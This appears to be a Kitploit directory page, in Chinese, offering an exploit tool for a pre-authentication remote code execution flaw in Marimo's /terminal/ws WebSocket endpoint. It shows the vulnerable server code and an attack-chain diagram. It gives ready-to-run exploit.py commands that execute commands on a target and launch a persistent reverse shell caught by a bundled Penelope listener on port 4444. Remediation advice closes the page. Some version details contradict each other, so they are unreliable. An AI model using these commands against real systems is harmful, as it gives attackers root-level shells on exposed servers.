Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-39987 — 针对 Marimo 0.23.0 之前版本的漏洞利用。通过 WebSocket 端点:/terminal/ws 的预认证 RCE 漏洞。 | Kitploit
工具/GitHubGitHub/gbuyssens/cve-2026-39987
Payload生成漏洞利用Web应用程序漏洞利用后渗透利用渗透测试远程访问工具
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

针对 Marimo 0.23.0 之前版本的漏洞利用。通过 WebSocket 端点:/terminal/ws 的预认证 RCE 漏洞。

查看仓库
21个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-39987 — Marimo 预认证 RCE(/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

在 Marimo(一个响应式 Python 笔记本服务器)中存在预认证 远程代码执行 漏洞。
只需一个未经认证的 WebSocket 连接到 /terminal/ws,即可获得以运行 Marimo 进程的用户(在 Docker 中通常是 root)身份存在的完整交互式 PTY shell。

仅限实验室/授权测试(HTB、CTF、有书面授权范围的测试项目)。


目录

  • 漏洞概述
  • 根本原因
  • 攻击链
  • 受影响版本
  • 本仓库
  • 安装
  • 使用方法
  • Penelope 集成
  • 修复建议
  • 参考资料

漏洞概述

Marimo 通过 WebSocket 在以下地址暴露了一个集成终端:

root@kitploit:~
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

其他 WebSocket 路由(尤其是笔记本 UI 的 /ws)会正确调用 validate_auth()。
/terminal/ws 则不会。 它仅检查:

  1. 服务器处于 edit(编辑) 模式
  2. 平台支持 PTY

随后立即:

root@kitploit:~
await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

无需 Cookie、令牌、密码或 Authorization 标头 — 即使实例已启用身份验证。

影响: 未经身份验证即可利用 Marimo 进程的权限执行任意命令。在默认容器镜像中,这通常意味着 root 权限。


根本原因

文件(存在漏洞的版本):marimo/_server/api/endpoints/terminal.py

root@kitploit:~
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

对比笔记本 WebSocket(ws_endpoint.py),后者确实强制执行身份验证:

root@kitploit:~
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

攻击链

root@kitploit:~
 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. 无需凭据即可连接到 ws(s)://target/terminal/ws
  2. 服务器接受连接并生成一个 PTY 支撑的 shell
  3. 通过 WebSocket 发送按键(命令)
  4. 可选地生成一个 独立 反向 shell,即便 WS 断开也持续存活

受影响版本

状态版本
受影响Marimo <= 0.20.4(修复前)
已修复Marimo 0.23.0 及更高版本

任何在没有外部身份验证网关的情况下暴露终端 WebSocket(编辑模式、支持 PTY)的部署都属于受影响范围。


本仓库

文件角色
exploit.pyPoC:命令执行 + 持久反向 shell + Penelope 启动器
penelope.py独立 shell 处理程序(brightio/penelope)
README.md本文件

安装

root@kitploit:~
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py 无需 额外依赖(Python 3.6+ 标准库)。


使用方法

1. 单次命令执行

root@kitploit:~
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

执行过程:

  1. fork 出的子进程 短暂等待后,通过 /terminal/ws 交付一个 独立 反向 shell
  2. 父进程在 0.0.0.0:4444 上 exec 启动 Penelope
  3. 回调到达时,Penelope 会自动附加并升级会话

如有需要

root@kitploit:~
python3 exploit.py -h

Penelope 集成

Penelope 已捆绑为 独立 脚本(penelope.py):

  • 无需安装,仅用标准库
  • 多会话处理程序
  • 自动 TTY 升级
  • 文件上传/下载、日志记录等

默认流程(-p):

root@kitploit:~
exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

刻意使用子进程是有原因的:os.execv(penelope) 会替换父进程映像,从而杀死后台线程。

手动运行 Penelope:

root@kitploit:~
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

修复建议

  1. 升级 到 Marimo >= 0.23.0(pip install -U marimo)
  2. 不要 在公共互联网上暴露编辑模式笔记本服务器
  3. 如果应用必须远程访问,请在反向代理处实施 authn/authz(身份认证/授权)
  4. 绑定到 localhost/私有网络;使用 VPN 或 SSH 隧道
  5. 若怀疑已被利用:轮换主机可访问的凭据(云密钥、.env、SSH 密钥),审计出站连接与持久化机制

参考资料

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Marimo 修复 PR #9098
  • Resecurity 分析
  • Penelope shell 处理程序

免责声明

本项目仅用于 授权 的安全测试、教育和防御性研究。
您有责任遵守适用的法律法规以及您所在实验室或客户的授权测试条款。

下载工具